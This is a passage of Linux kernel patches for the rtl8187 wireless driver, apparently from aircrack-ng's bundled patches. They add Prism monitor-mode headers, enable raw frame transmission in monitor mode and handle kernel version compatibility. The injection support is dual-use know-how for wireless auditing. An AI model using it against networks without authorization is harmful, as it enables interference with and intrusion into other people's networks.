+ #include "ieee80211.h"
+ 
+ static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee,
+ 					struct sk_buff *skb,
+ 					struct ieee80211_rx_stats *rx_stats)
+ {
+-	struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data;
+-	u16 fc = le16_to_cpu(hdr->frame_ctl);
++	struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data;
++	u16 fc = le16_to_cpu(hdr1->frame_ctl);
++	int prism_header;
++	int hdrlen, phdrlen, head_need, tail_need;
++
++	if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) {
++		prism_header = 1;
++		phdrlen = sizeof(struct linux_wlan_ng_prism_hdr);
++	} else {
++		prism_header = 0;
++		phdrlen = 0;
++	}
++
++	hdrlen = ieee80211_get_hdrlen(fc);
++
++	/* check if there is enough room for extra data; if not, expand skb
++	 * buffer to be large enough for the changes */
++	head_need = phdrlen;
++	tail_need = 0;
++#ifdef PRISM2_ADD_BOGUS_CRC
++	tail_need += 4;
++#endif /* PRISM2_ADD_BOGUS_CRC */
++
++	head_need -= skb_headroom(skb);
++	tail_need -= skb_tailroom(skb);
++
++	if (head_need > 0 || tail_need > 0) {
++		if (pskb_expand_head(skb, head_need > 0 ? head_need : 0,
++				     tail_need > 0 ? tail_need : 0,
++				     GFP_ATOMIC)) {
++			printk(KERN_DEBUG "%s: ieee80211_rx failed to "
++			       "reallocate skb buffer\n", ieee->dev->name);
++			dev_kfree_skb_any(skb);
++			return;
++		}
++	}
++
++	if (prism_header == 1) {
++		struct linux_wlan_ng_prism_hdr *hdr;
++		hdr = (struct linux_wlan_ng_prism_hdr *)
++			skb_push(skb, phdrlen);
++		memset(hdr, 0, phdrlen);
++		hdr->msgcode = LWNG_CAP_DID_BASE;
++		hdr->msglen = sizeof(*hdr);
++		memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname));
++#define LWNG_SETVAL(f,i,s,l,d) \
++hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \
++hdr->f.status = s; hdr->f.len = l; hdr->f.data = d
++		LWNG_SETVAL(hosttime, 1, 0, 4, jiffies);
++		LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time));
++		LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0);
++		LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0);
++		LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0);
++		LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal);
++		LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise);
++		LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5);
++		LWNG_SETVAL(istx, 9, 0, 4, 0);
++		LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen);
++#undef LWNG_SETVAL
++	}
+ 
+ 	skb->dev = ieee->dev;
+ 	skb->mac.raw = skb->data;
+-	skb_pull(skb, ieee80211_get_hdrlen(fc));
++	skb_pull(skb, hdrlen);
++	if (prism_header)
++		skb_pull(skb, phdrlen);
+ 	skb->pkt_type = PACKET_OTHERHOST;
+ 	skb->protocol = __constant_htons(ETH_P_80211_RAW);
+ 	memset(skb->cb, 0, sizeof(skb->cb));
+diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_txpower/ieee80211/ieee80211_softmac.c
+--- rtl8187_orig/ieee80211/ieee80211_softmac.c	2006-06-19 03:27:33.000000000 +0200
++++ rtl8187_txpower/ieee80211/ieee80211_softmac.c	2007-01-24 20:50:08.295609422 +0100
+@@ -386,9 +386,8 @@
+ 
+ void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee)
+ {	
+-	down(&ieee->scan_sem);
+-	
+ 	short watchdog = 0;
++	down(&ieee->scan_sem);
+ 	
+ 	do{
+ 		ieee->current_network.channel = 
+@@ -1467,12 +1466,13 @@
+ 			u16 stype)
+ {
+ 	struct ieee80211_hdr_3addr *header;
+-	header = (struct ieee80211_hdr_3addr *) skb->data;
+ 	u16 errcode;
+ 	u8* challenge;
+ 	int chlen;
+ 	int aid;
+ 	
++	header = (struct ieee80211_hdr_3addr *) skb->data;
++
+ 	if(!ieee->proto_started)
+ 		return 0;
+ 	
+diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c
+--- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c	2006-06-06 04:57:54.000000000 +0200
++++ rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c	2007-01-24 20:50:08.297609118 +0100
+@@ -134,14 +134,14 @@
+ 	u8 zero = {0,0,0,0,0,0};
+ 	unsigned long flags;
+ 	
++	struct sockaddr *temp = NULL;
+ 	short ifup = ieee->proto_started;//dev->flags & IFF_UP;
+ 	
+ 	ieee->sync_scan_hurryup = 1;
+ 	
+ 	down(&ieee->wx_sem);
+ 	
+-	struct sockaddr *temp = (struct sockaddr *)awrq;
+-	
++	temp = (struct sockaddr *)awrq;
+ 	/* use ifconfig hw ether */
+ 	if (ieee->iw_mode == IW_MODE_MASTER){
+ 		ret = -1;
+@@ -245,8 +245,7 @@
+ 		goto out;
+ 	
+ 	if (wrqu->mode == IW_MODE_MONITOR){
+-	
+-		ieee->dev->type = ARPHRD_IEEE80211;
++		ieee->dev->type = ARPHRD_IEEE80211_PRISM;
+ 	}else{
+ 		ieee->dev->type = ARPHRD_ETHER;
+ 	}
+diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_txpower/ieee80211/ieee80211_tx.c
+--- rtl8187_orig/ieee80211/ieee80211_tx.c	2006-06-06 04:57:54.000000000 +0200
++++ rtl8187_txpower/ieee80211/ieee80211_tx.c	2007-01-24 20:50:08.351600910 +0100
+@@ -32,7 +32,6 @@
+ ******************************************************************************/
+ 
+ #include <linux/compiler.h>
+-#include <linux/config.h>
+ #include <linux/errno.h>
+ #include <linux/if_arp.h>
+ #include <linux/in6.h>
+@@ -52,6 +51,10 @@
+ #include <linux/etherdevice.h>
+ #include <asm/uaccess.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ 
+@@ -458,7 +461,8 @@
+ 			ieee->seq_ctrl++;
+ 		//---
+ 	}else{
+-		if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) {
++//		if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) {
++		if (unlikely(skb->len < 14)) {
+ 			printk(KERN_WARNING "%s: skb too small (%d).\n",
+ 			ieee->dev->name, skb->len);
+ 			goto success;

aircrack-ng-1.7.tar.gz/patches/old/rtl8187_1025.patch Added

@@ -0,0 +1,1195 @@
+diff -Naur r8187_orig/ieee80211/ieee80211_crypt.c r8187_rawtx/ieee80211/ieee80211_crypt.c
+--- r8187_orig/ieee80211/ieee80211_crypt.c	2007-01-15 03:00:37.000000000 +0100
++++ r8187_rawtx/ieee80211/ieee80211_crypt.c	2007-05-13 09:55:23.000000000 +0200
+@@ -11,7 +11,6 @@
+  *
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -19,6 +18,12 @@
+ #include <asm/string.h>
+ #include <asm/errno.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ MODULE_AUTHOR("Jouni Malinen");
+diff -Naur r8187_orig/ieee80211/ieee80211_crypt_ccmp.c r8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c
+--- r8187_orig/ieee80211/ieee80211_crypt_ccmp.c	2007-01-15 03:00:37.000000000 +0100
++++ r8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c	2007-05-13 09:55:23.000000000 +0200
+@@ -9,7 +9,6 @@
+  * more details.
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -22,11 +21,22 @@
+ #include <asm/string.h>
+ #include <linux/wireless.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ 
+ #include <linux/crypto.h>
+-#include <asm/scatterlist.h>
++
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) 
++    #include <asm/scatterlist.h>
++#else
++    #include <linux/scatterlist.h>
++#endif
+ 
+ MODULE_AUTHOR("Jouni Malinen");
+ MODULE_DESCRIPTION("Host AP crypt: CCMP");
+diff -Naur r8187_orig/ieee80211/ieee80211_crypt_tkip.c r8187_rawtx/ieee80211/ieee80211_crypt_tkip.c
+--- r8187_orig/ieee80211/ieee80211_crypt_tkip.c	2007-01-15 03:00:37.000000000 +0100
++++ r8187_rawtx/ieee80211/ieee80211_crypt_tkip.c	2007-05-13 09:55:23.000000000 +0200
+@@ -9,7 +9,6 @@
+  * more details.
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -21,11 +20,21 @@
+ #include <linux/if_arp.h>
+ #include <asm/string.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) 
++    #include <asm/scatterlist.h>
++#else
++    #include <linux/scatterlist.h>
++#endif
+ 
+ #include <linux/crypto.h>
+-#include <asm/scatterlist.h>
+ #include <linux/crc32.h>
+ 
+ MODULE_AUTHOR("Jouni Malinen");
+@@ -431,7 +440,11 @@
+ static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr,
+ 		       u8 *data, size_t data_len, u8 *mic)
+ {
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)
++	struct hash_desc desc;
++#endif
+ 	struct scatterlist sg2;
++	int ret = 0;
+ 
+ 	if (tkey->tfm_michael == NULL) {
+ 		printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n");
+@@ -445,12 +458,20 @@
+ 	sg1.offset = offset_in_page(data);
+ 	sg1.length = data_len;
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) 
+ 	crypto_digest_init(tkey->tfm_michael);
+ 	crypto_digest_setkey(tkey->tfm_michael, key, 8);
+ 	crypto_digest_update(tkey->tfm_michael, sg, 2);
+ 	crypto_digest_final(tkey->tfm_michael, mic);
++#else
++	if (crypto_hash_setkey(tkey->tfm_michael, key, 8))
++		return -1;
++	desc.tfm = tkey->tfm_michael;
++	desc.flags = 0;
++	ret = crypto_hash_digest(&desc, sg, data_len + 16, mic);
++#endif
+ 
+-	return 0;
++	return ret;
+ }
+ 
+ static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr)
+diff -Naur r8187_orig/ieee80211/ieee80211_crypt_wep.c r8187_rawtx/ieee80211/ieee80211_crypt_wep.c
+--- r8187_orig/ieee80211/ieee80211_crypt_wep.c	2007-01-15 03:00:37.000000000 +0100
++++ r8187_rawtx/ieee80211/ieee80211_crypt_wep.c	2007-05-13 09:55:23.000000000 +0200
+@@ -9,7 +9,6 @@
+  * more details.
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -18,11 +17,21 @@
+ #include <linux/skbuff.h>
+ #include <asm/string.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) 
++    #include <asm/scatterlist.h>
++#else
++    #include <linux/scatterlist.h>
++#endif
+ 
+ #include <linux/crypto.h>
+-#include <asm/scatterlist.h>
+ #include <linux/crc32.h>
+ 
+ MODULE_AUTHOR("Jouni Malinen");
+diff -Naur r8187_orig/ieee80211/ieee80211.h r8187_rawtx/ieee80211/ieee80211.h
+--- r8187_orig/ieee80211/ieee80211.h	2007-12-05 09:27:45.000000000 +0100
++++ r8187_rawtx/ieee80211/ieee80211.h	2007-05-13 09:55:27.000000000 +0200
+@@ -108,6 +108,8 @@
+ #define	ieee80211_start_protocol	ieee80211_start_protocol_rtl
+ #define	ieee80211_stop_protocol		ieee80211_stop_protocol_rtl
+ #define	ieee80211_rx_mgt		ieee80211_rx_mgt_rtl
++#define	ieee80211_stop_queue		ieee80211_stop_queue_rtl
++#define	ieee80211_wake_queue		ieee80211_wake_queue_rtl
+ 
+ 
+ typedef struct ieee_param {
+@@ -193,6 +195,22 @@
+ 	struct list_head list;
+ };
+ 
++#define LWNG_CAP_DID_BASE   (4 | (1 << 6)) /* section 4, group 1 */
++/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header
++ * (from linux-wlan-ng) */
++struct linux_wlan_ng_val {
++	u32 did;
++	u16 status, len;
++	u32 data;
++} __attribute__ ((packed));
++
++struct linux_wlan_ng_prism_hdr {
++	u32 msgcode, msglen;
++	char devname16;
++	struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal,
++		noise, rate, istx, frmlen;
++} __attribute__ ((packed));
++
+ struct ieee80211_hdr {
+ 	u16 frame_ctl;
+ 	u16 duration_id;
+@@ -1064,10 +1082,15 @@
+ 	struct timer_list beacon_timer;
+ 	
+ 	struct work_struct associate_complete_wq;
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++	struct delayed_work associate_retry_wq;
++	struct delayed_work softmac_scan_wq;
++#else
+ 	struct work_struct associate_retry_wq;
++	struct work_struct softmac_scan_wq;
++#endif
+ 	struct work_struct start_ibss_wq;
+ 	struct work_struct associate_procedure_wq;
+-	struct work_struct softmac_scan_wq;
+ 	struct work_struct wx_sync_scan_wq;
+ 	struct work_struct ps_request_tx_ack_wq;//for ps
+ 	struct work_struct hw_wakeup_wq;
+@@ -1390,7 +1413,11 @@
+ extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++extern void ieee80211_wx_sync_scan_wq(struct work_struct *work);
++#else
+ extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee);
++#endif
+ 
+ extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, 
+ 			       struct iw_request_info *info, 
+diff -Naur r8187_orig/ieee80211/ieee80211_module.c r8187_rawtx/ieee80211/ieee80211_module.c
+--- r8187_orig/ieee80211/ieee80211_module.c	2007-12-03 10:07:33.000000000 +0100
++++ r8187_rawtx/ieee80211/ieee80211_module.c	2007-05-13 09:55:23.000000000 +0200
+@@ -31,7 +31,6 @@
+ *******************************************************************************/
+ 
+ #include <linux/compiler.h>
+-#include <linux/config.h>
+ #include <linux/errno.h>
+ #include <linux/if_arp.h>
+ #include <linux/in6.h>
+@@ -52,6 +51,12 @@
+ #include <asm/uaccess.h>
+ #include <net/arp.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ MODULE_DESCRIPTION("802.11 data/management/control stack");
+diff -Naur r8187_orig/ieee80211/ieee80211_rx.c r8187_rawtx/ieee80211/ieee80211_rx.c
+--- r8187_orig/ieee80211/ieee80211_rx.c	2007-01-15 03:00:37.000000000 +0100
++++ r8187_rawtx/ieee80211/ieee80211_rx.c	2007-05-13 09:55:23.000000000 +0200
+@@ -22,7 +22,6 @@
+  
+ 
+ #include <linux/compiler.h>
+-#include <linux/config.h>
+ #include <linux/errno.h>
+ #include <linux/if_arp.h>
+ #include <linux/in6.h>
+@@ -43,18 +42,85 @@
+ #include <asm/uaccess.h>
+ #include <linux/ctype.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee,
+ 					struct sk_buff *skb,
+ 					struct ieee80211_rx_stats *rx_stats)
+ {
+-	struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data;
+-	u16 fc = le16_to_cpu(hdr->frame_ctl);
++	struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data;
++	u16 fc = le16_to_cpu(hdr1->frame_ctl);
++//begin prism header code
++	int prism_header;
++	int hdrlen, phdrlen, head_need, tail_need;
++
++	if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) {
++		prism_header = 1;
++		phdrlen = sizeof(struct linux_wlan_ng_prism_hdr);
++	} else {
++		prism_header = 0;
++		phdrlen = 0;
++	}
+ 
++	hdrlen = ieee80211_get_hdrlen(fc);
++
++	/* check if there is enough room for extra data; if not, expand skb
++	 * buffer to be large enough for the changes */
++	head_need = phdrlen;
++	tail_need = 0;
++#ifdef PRISM2_ADD_BOGUS_CRC
++	tail_need += 4;
++#endif /* PRISM2_ADD_BOGUS_CRC */
++
++	head_need -= skb_headroom(skb);
++	tail_need -= skb_tailroom(skb);
++
++	if (head_need > 0 || tail_need > 0) {
++		if (pskb_expand_head(skb, head_need > 0 ? head_need : 0,
++				     tail_need > 0 ? tail_need : 0,
++				     GFP_ATOMIC)) {
++			printk(KERN_DEBUG "%s: ieee80211_rx failed to "
++			       "reallocate skb buffer\n", ieee->dev->name);
++			dev_kfree_skb_any(skb);
++			return;
++		}
++	}
++
++	if (prism_header == 1) {
++		struct linux_wlan_ng_prism_hdr *hdr;
++		hdr = (struct linux_wlan_ng_prism_hdr *)
++			skb_push(skb, phdrlen);
++		memset(hdr, 0, phdrlen);
++		hdr->msgcode = LWNG_CAP_DID_BASE;
++		hdr->msglen = sizeof(*hdr);
++		memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname));
++#define LWNG_SETVAL(f,i,s,l,d) \
++hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \
++hdr->f.status = s; hdr->f.len = l; hdr->f.data = d
++		LWNG_SETVAL(hosttime, 1, 0, 4, jiffies);
++		LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time));
++		LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0);
++		LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0);
++		LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0);
++		LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal);
++		LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise);
++		LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5);
++		LWNG_SETVAL(istx, 9, 0, 4, 0);
++		LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen);
++#undef LWNG_SETVAL
++	}
++//end prism header code
+ 	skb->dev = ieee->dev;
+ 	skb->mac.raw = skb->data;
+-	skb_pull(skb, ieee80211_get_hdrlen(fc));
++	skb_pull(skb, hdrlen);
++	if (prism_header)
++		skb_pull(skb, phdrlen);
+ 	skb->pkt_type = PACKET_OTHERHOST;
+ 	skb->protocol = __constant_htons(ETH_P_80211_RAW);
+ 	memset(skb->cb, 0, sizeof(skb->cb));
+diff -Naur r8187_orig/ieee80211/ieee80211_softmac.c r8187_rawtx/ieee80211/ieee80211_softmac.c
+--- r8187_orig/ieee80211/ieee80211_softmac.c	2007-12-05 09:26:56.000000000 +0100
++++ r8187_rawtx/ieee80211/ieee80211_softmac.c	2007-05-13 09:55:24.000000000 +0200
+@@ -392,9 +392,16 @@
+ 	schedule_work(&ieee->softmac_scan_wq);
+ }
+ #endif
+-
++	
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_softmac_scan_wq(struct work_struct *work)
++{
++	struct delayed_work *dwork = container_of(work, struct delayed_work, work);
++	struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq);
++#else
+ void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee)
+-{	
++{
++#endif
+ 	short watchdog = 0;
+ 	down(&ieee->scan_sem);
+ 	
+@@ -514,7 +521,11 @@
+ 		if (ieee->scanning == 0){
+ 			ieee->scanning = 1;
+ 			//ieee80211_softmac_scan(ieee);
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
+ 			queue_work(ieee->wq, &ieee->softmac_scan_wq);
++#else
++			queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0);
++#endif
+ 		}
+ 	}else
+ 		ieee->start_scan(ieee->dev);
+@@ -994,8 +1005,14 @@
+ 	}	
+ }
+ 
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_associate_complete_wq(struct work_struct *work)
++{
++	struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq);
++#else
+ void ieee80211_associate_complete_wq(struct ieee80211_device *ieee)
+ {
++#endif
+ 	printk(KERN_INFO "Associated successfully\n");
+ 	if(ieee80211_is_54g(ieee->current_network) && 
+ 		(ieee->modulation & IEEE80211_OFDM_MODULATION)){
+@@ -1025,8 +1042,14 @@
+ 	queue_work(ieee->wq, &ieee->associate_complete_wq);
+ }
+ 
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_associate_procedure_wq(struct work_struct *work)
++{
++	struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq);
++#else
+ void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee)
+ {
++#endif
+ 	ieee->sync_scan_hurryup = 1;
+ 	down(&ieee->wx_sem);
+ 	
+@@ -1660,7 +1683,6 @@
+ 	
+ 	unsigned long flags;
+ 	int  i;
+-	
+ 	spin_lock_irqsave(&ieee->lock,flags);
+ 	#if 0
+ 	if(ieee->queue_stop){
+@@ -1691,7 +1713,6 @@
+ 	}
+ 	/* called with 2nd parm 0, no tx mgmt lock required */
+ 	ieee80211_sta_wakeup(ieee,0);
+-	
+ 	for(i = 0; i < txb->nr_frags; i++) {
+ 	
+ 		if (ieee->queue_stop){
+@@ -1874,8 +1895,15 @@
+ 		netif_carrier_on(ieee->dev);
+ 	}
+ }
++
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_start_ibss_wq(struct work_struct *work)
++{
++	struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq);
++#else
+ void ieee80211_start_ibss_wq(struct ieee80211_device *ieee)
+ {
++#endif
+ 	
+ 	/* iwconfig mode ad-hoc will schedule this and return
+ 	 * on the other hand this will block further iwconfig SET
+@@ -2020,8 +2048,16 @@
+ 	notify_wx_assoc_event(ieee);
+ 	
+ }
++
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_associate_retry_wq(struct work_struct *work)
++{
++	struct delayed_work *dwork = container_of(work, struct delayed_work, work);
++	struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq);
++#else
+ void ieee80211_associate_retry_wq(struct ieee80211_device *ieee)
+ {
++#endif
+ 	unsigned long flags;
+ 	
+ 	down(&ieee->wx_sem);
+@@ -2225,13 +2261,22 @@
+ #else	
+ 	ieee->wq = create_workqueue(DRV_NAME);
+ #endif
+-	
++
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
+ 	INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee);
+ 	INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee);
+ 	INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee);
+ 	INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee);
+ 	INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee);
+ 	INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee);
++#else
++	INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq);
++	INIT_DELAYED_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq);
++	INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq);
++	INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq);
++	INIT_DELAYED_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq);
++	INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq);
++#endif
+ ///	INIT_WORK(&ieee->ps_request_tx_ack_wq,(void(*)(void*))ieee->ps_request_tx_ack,ieee->dev);//for ps 07.26
+ 	
+ 
+diff -Naur r8187_orig/ieee80211/ieee80211_softmac_wx.c r8187_rawtx/ieee80211/ieee80211_softmac_wx.c
+--- r8187_orig/ieee80211/ieee80211_softmac_wx.c	2007-01-15 03:00:37.000000000 +0100
++++ r8187_rawtx/ieee80211/ieee80211_softmac_wx.c	2007-05-13 09:55:24.000000000 +0200
+@@ -236,7 +236,7 @@
+ int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+-	
++	short prev = ieee->raw_tx;
+ 	ieee->sync_scan_hurryup = 1;
+ 	
+ 	down(&ieee->wx_sem);
+@@ -246,7 +246,7 @@
+ 	
+ 	if (wrqu->mode == IW_MODE_MONITOR){
+ 	
+-		ieee->dev->type = ARPHRD_IEEE80211;
++		ieee->dev->type = ARPHRD_IEEE80211_PRISM;
+ 	}else{
+ 		ieee->dev->type = ARPHRD_ETHER;
+ 	}
+@@ -259,13 +259,37 @@
+ 		ieee80211_start_protocol(ieee);
+ 	}
+ 
++	if(ieee->iw_mode == IW_MODE_MONITOR)
++	{
++		ieee->raw_tx = 1;
++		if(prev == 0 && ieee->raw_tx){
++			if (ieee->data_hard_resume)
++				ieee->data_hard_resume(ieee->dev);
++
++			netif_carrier_on(ieee->dev);
++		}
++
++		netif_carrier_on(ieee->dev);
++	}
++	else
++	{
++		ieee->raw_tx = 0;
++	}
++
++
+ out:
+ 	up(&ieee->wx_sem);
+ 	return 0;
+ }
+ 
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_wx_sync_scan_wq(struct work_struct *work)
++{
++	struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq);
++#else
+ void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee)
+ {
++#endif
+ 	short chan;
+ 
+ 	chan = ieee->current_network.channel;
+@@ -356,7 +380,11 @@
+ 	spin_lock_irqsave(&ieee->lock, flags);
+ 	
+ 	if (wrqu->essid.flags && wrqu->essid.length) {
++#if WIRELESS_EXT > 20
++		len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE);
++#else
+ 		len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE;
++#endif
+ 		
+ 		strncpy(ieee->current_network.ssid, extra, len);
+ 		ieee->current_network.ssid_len = len;
+diff -Naur r8187_orig/ieee80211/ieee80211_tx.c r8187_rawtx/ieee80211/ieee80211_tx.c
+--- r8187_orig/ieee80211/ieee80211_tx.c	2007-12-05 09:53:21.000000000 +0100
++++ r8187_rawtx/ieee80211/ieee80211_tx.c	2007-05-13 09:55:24.000000000 +0200
+@@ -32,7 +32,6 @@
+ ******************************************************************************/
+ 
+ #include <linux/compiler.h>
+-#include <linux/config.h>
+ #include <linux/errno.h>
+ #include <linux/if_arp.h>
+ #include <linux/in6.h>
+@@ -52,6 +51,12 @@
+ #include <linux/etherdevice.h>
+ #include <asm/uaccess.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ 
+@@ -481,19 +486,19 @@
+ 			ieee->seq_ctrl++;
+ 		//---
+ 	}else{
+-		if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) {
++		if (unlikely(skb->len < 14)) {
+ 			printk(KERN_WARNING "%s: skb too small (%d).\n",
+ 			ieee->dev->name, skb->len);
+ 			goto success;
+ 		}
+-	
++
+ 		txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC);
+ 		if(!txb){
+ 			printk(KERN_WARNING "%s: Could not allocate TXB\n",
+ 			ieee->dev->name);
+ 			goto failed;
+ 		}
+-		
++		txb->nr_frags = 1;
+ 		txb->encrypted = 0;
+ 		txb->payload_size = skb->len;
+ 		memcpy(skb_put(txb->fragments0,skb->len), skb->data, skb->len);
+diff -Naur r8187_orig/Makefile r8187_rawtx/Makefile
+--- r8187_orig/Makefile	1970-01-01 01:00:00.000000000 +0100
++++ r8187_rawtx/Makefile	2007-05-13 09:54:38.000000000 +0200
+@@ -0,0 +1,36 @@
++prefix        = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless
++r8187dir      = $(prefix)/rtl8187
++ieeedir       = $(prefix)/rtl_ieee80211
++
++default: all
++
++all:
++	$(MAKE) -C ieee80211 $(@)
++	-chmod +x symvers
++	-./symvers
++	$(MAKE) -C rtl8187 $(@)
++
++install:
++	install -d $(ieeedir)
